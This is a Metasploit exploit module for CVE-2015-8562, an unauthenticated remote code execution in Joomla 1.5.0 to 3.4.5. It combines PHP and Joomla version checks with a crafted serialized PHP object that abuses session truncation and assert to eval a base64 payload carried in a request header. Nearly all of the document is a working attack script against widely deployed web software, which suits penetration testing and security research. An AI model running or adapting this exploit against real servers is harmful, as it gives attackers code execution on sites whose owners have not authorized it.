## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Joomla def initialize(info = {}) super(update_info(info, 'Name' => 'Joomla HTTP Header Unauthenticated Remote Code Execution', 'Description' => %q{ Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5. By storing user supplied headers in the databases session table it's possible to truncate the input by sending an UTF-8 character. The custom created payload is then executed once the session is read from the database. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. In later versions the deserialisation of invalid session data stops on the first error and the exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and 5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1. }, 'Author' => [ 'Marc-Alexandre Montpas', # discovery 'Christian Mehlmauer' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-8562'], ['EDB', '38977'], # PoC from Gary ['EDB', '39033'], # Exploit modified to use "X-Forwarded-For" header instead of "User-Agent" ['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'], ['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'], ['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'], ['URL', 'https://blog.patrolserver.com/2015/12/17/in-depth-analyses-of-the-joomla-0-day-user-agent-exploit/'], ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'], ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'], ['URL', 'https://bugs.php.net/bug.php?id=70219'] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Joomla 1.5.0 - 3.4.5', {}]], 'DisclosureDate' => '2015-12-14', 'DefaultTarget' => 0) ) register_options( [ OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]]) ]) register_advanced_options( [ OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]), ]) end def check res = send_request_cgi({'uri' => target_uri.path }) unless res vprint_error("Connection timed out") return Exploit::CheckCode::Unknown end unless res.headers['X-Powered-By'] vprint_error("Unable to determine the PHP version.") return Exploit::CheckCode::Unknown end online = joomla_and_online? unless online vprint_error("Unable to detect joomla on #{target_uri.path}") return Exploit::CheckCode::Safe end php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || '' version = Rex::Version.new(php_version) vulnerable = false # check for ubuntu and debian specific versions. Was fixed in # * 5.5.9+dfsg-1ubuntu4.13 # * 5.3.10-1ubuntu3.20 # * 5.4.45-0+deb7u1 # Changelogs (search for CVE-2015-6835 or #70219): # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog # http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog if rest && rest.include?('ubuntu') sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || '' vprint_status("Found Ubuntu PHP version #{res.headers['X-Powered-By']}") if version > Rex::Version.new('5.5.9') vulnerable = false elsif version == Rex::Version.new('5.5.9') && Rex::Version.new(sub_version) >= Rex::Version.new('4.13') vulnerable = false elsif version == Rex::Version.new('5.3.10') && Rex::Version.new(sub_version) >= Rex::Version.new('3.20') vulnerable = false else vulnerable = true end elsif rest && rest.include?('+deb') sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || '' vprint_status("Found Debian PHP version #{res.headers['X-Powered-By']}") if version > Rex::Version.new('5.4.45') vulnerable = false elsif version == Rex::Version.new('5.4.45') && sub_version != '7u1' vulnerable = false else vulnerable = true end else vprint_status("Found PHP version #{res.headers['X-Powered-By']}") vulnerable = true if version <= Rex::Version.new('5.4.44') vulnerable = true if version.between?(Rex::Version.new('5.5.0'), Rex::Version.new('5.5.28')) vulnerable = true if version.between?(Rex::Version.new('5.6.0'), Rex::Version.new('5.6.12')) end unless vulnerable vprint_error('This module currently does not work against this PHP version') return Exploit::CheckCode::Safe end j_version = joomla_version unless j_version.nil? vprint_status("Detected Joomla version #{j_version}") return Exploit::CheckCode::Appears if Rex::Version.new(j_version) < Rex::Version.new('3.4.6') end return Exploit::CheckCode::Detected if online Exploit::CheckCode::Safe end def get_payload(header_name) pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|" pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;" post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}' return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{Rex::Text::rand_4byte_utf8}" end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def exploit if check == Exploit::CheckCode::Safe && !datastore['FORCE'] print_error('Target seems safe, so we will not continue.') return end print_status("Sending payload ...") header_name = Rex::Text.rand_text_alpha_upper(5) res = send_request_cgi({ 'method' => 'GET', 'uri' => target_uri.path, 'headers' => { datastore['HEADER'] => get_payload(header_name) } }) fail_with(Failure::Unknown, 'No response') if res.nil? session_cookie = res.get_cookies send_request_cgi({ 'method' => 'GET', 'uri' => target_uri.path, 'cookie' => session_cookie, 'headers' => { header_name => Rex::Text.encode_base64(payload.encoded) } }) end end